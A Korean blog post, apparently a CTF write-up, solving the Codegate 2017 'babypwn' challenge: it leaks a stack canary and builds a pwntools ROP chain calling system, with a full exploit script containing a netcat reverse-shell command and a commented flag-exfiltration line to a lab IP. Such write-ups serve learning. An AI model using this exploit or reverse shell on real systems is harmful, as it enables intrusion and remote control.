Codegate 2017 - babypwn

2017. 2. 28. 17:59


육아 때문에 최근 공부를 거의 못하고 있으나...pwnable 만은 놓지 않기 위해 시간날때마다 조금씩이라도 풀어보려 노력중이다. ㅠ 


babypwn 은 Codegate 2017 prequal 에 출제 되었던 문제이다. 문제 환경도 잘 모르겠고 세팅하기 귀찮으니 


대충 있는 리눅스 가상머신에 올려서 풀었다.



babypwn

babypwn.py

babypwn



>>> print e.checksec()

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX enabled

PIE:      No PIE




stack canary 와 NX 가 걸려있다. fork() 를 해주기 때문에 aslr 은 큰 의미는 없다. canary 역시 fork() 때문에 재실행 전까지는 동일하다.


이런 유형의 문제는 보통 leak 가 가능하도록 되어있으므로 확인해 보자.







일단 0x8048907() 함수 내부에서 recv 로 입력값을 받는데, v2 버퍼는 0x28(40) byte 밖에 안되는데 0x64(100) 을 입력받고 있다.


그로인해 60바이트만큼 오버플로우가 발생한다.


하지만 버퍼 바로 아래에 canary 가 있어서 리턴 직전 확인하고 있으므로 (ssp 보호기법) 먼저 canary 를 leak 해야 한다. 


canary 와 버퍼가 붙어있으므로 AAAA|canary 요렇게 빈틈없이 채워주면 message 를 출력해줄때 canary 까지 같이 출력하게 할 수 있다.



# leak.py

#!/usr/bin/python from pwn import * context(arch='x86', os='linux', endian='little') print "[*] codegate 2017 babypwn exploit by hyunmini" e = ELF('./babypwn') rop = ROP(e) log.info("stage 0 : leak canary") r = remote("192.168.231.128",8181) print r.recvuntil('menu > ') r.send('1\n') print r.recv(1024) r.send('a'*41) print hexdump(r.recv(1024))




hyunmini:codegate2017 $ python babypwn.py 


[*] codegate 2017 babypwn exploit by hyunmini

[*] Loaded cached gadgets for './babypwn'

[*] stage 0 : leak canary

[+] Opening connection to 192.168.231.128 on port 8181: Done

▒▒▒▒▒▒▒C▒O▒D▒E▒G▒A▒T▒E▒2▒0▒1▒7▒▒▒▒▒▒▒

▒▒▒▒▒▒▒B▒A▒B▒Y▒P▒W▒N▒!▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

▒▒▒▒▒▒▒G▒O▒O▒D▒L▒U▒C▒K▒~▒!▒▒▒▒▒▒▒▒▒▒▒

===============================

1. Echo

2. Reverse Echo

3. Exit

===============================

Select menu > 

Input Your Message : 

00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaaaaaaaaaaaaaa│

*

00000020  61 61 61 61  61 61 61 61  61 75 16 35  f4 ff 75 b7  │aaaaaaaaau·5│··u·

00000030

[*] Closed connection to 192.168.231.128 port 8181



붉게 표시된 부분이 leak 된 canary 값이다.  40 바이트만 찍어도 나와야 하는데 41바이트 찍어야 나오는 걸로 봐서 


canary 첫번째 바이트는 0x00 임을 알 수 있다.


즉, 0x35167500 일 것이다.(little endian 이니)





이제 전체적인 rop exploit 을 구성해서 공격하면 된다.


간단하게 recv 함수로 bss 영역에 인자값을 입력받고, system 함수의 인자값으로 사용할 것이다.


pwntools 쓰면 요렇게 두줄로 간단하게 할 수 있다.


조금 살펴보니 pwntools 가 아래처럼 입력하면 알아서 ppr, pppr 넣어주고, plt 에 해당 함수 있으면 plt 호출, 


없으면 srop 를 해준다. srop 도 안되면 에러를 내뿜는다.



rop.recv(0x4,e.bss(),len(cmd)+1,0x0)
rop.system(e.bss())






아래는 전체 코드이다.




babypwn


#!/usr/bin/python
from pwn import *
context(arch='x86', os='linux', endian='little')

print "[*] codegate 2017 babypwn exploit by hyunmini"

e = ELF('./babypwn')
rop = ROP(e)

log.info("stage 0 : leak canary")
r = remote("192.168.231.128",8181)
print r.recvuntil('menu > ')
r.send('1\n')
print r.recv(1024)
r.send('a'*41)
recv_buf = r.recv(1024)[41:44]
print hexdump(recv_buf)
canary = u32('\x00' + recv_buf)
log.info("found canary : 0x%x" % canary)

cmd = "nc.traditional -e /bin/sh 192.168.231.1 7777"
#cmd = "cat flag | nc 192.168.231.1 7777"
rop.recv(0x4,e.bss(),len(cmd)+1,0x0)
rop.system(e.bss())

payload = 'A'*40 + p32(canary) + 'B'*12 + rop.chain() + '\n'

log.info("stage 1 : eip control")

p = remote("192.168.231.128",8181)

print p.recvuntil('menu > ')
p.send('1\n')

print p.recvuntil('Message : ')
p.send(payload + '\n')

print p.recvuntil('menu > ')

p.send('3\n')
p.send(cmd)





# ./babypwn.py

=============================================


hyunmini:codegate2017 $ nc -lv 7777

ls

babypwn

cd ..

'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2014 pwn 250 Writeup + pwntools 연습  (0) 2016.12.16

+ Recent posts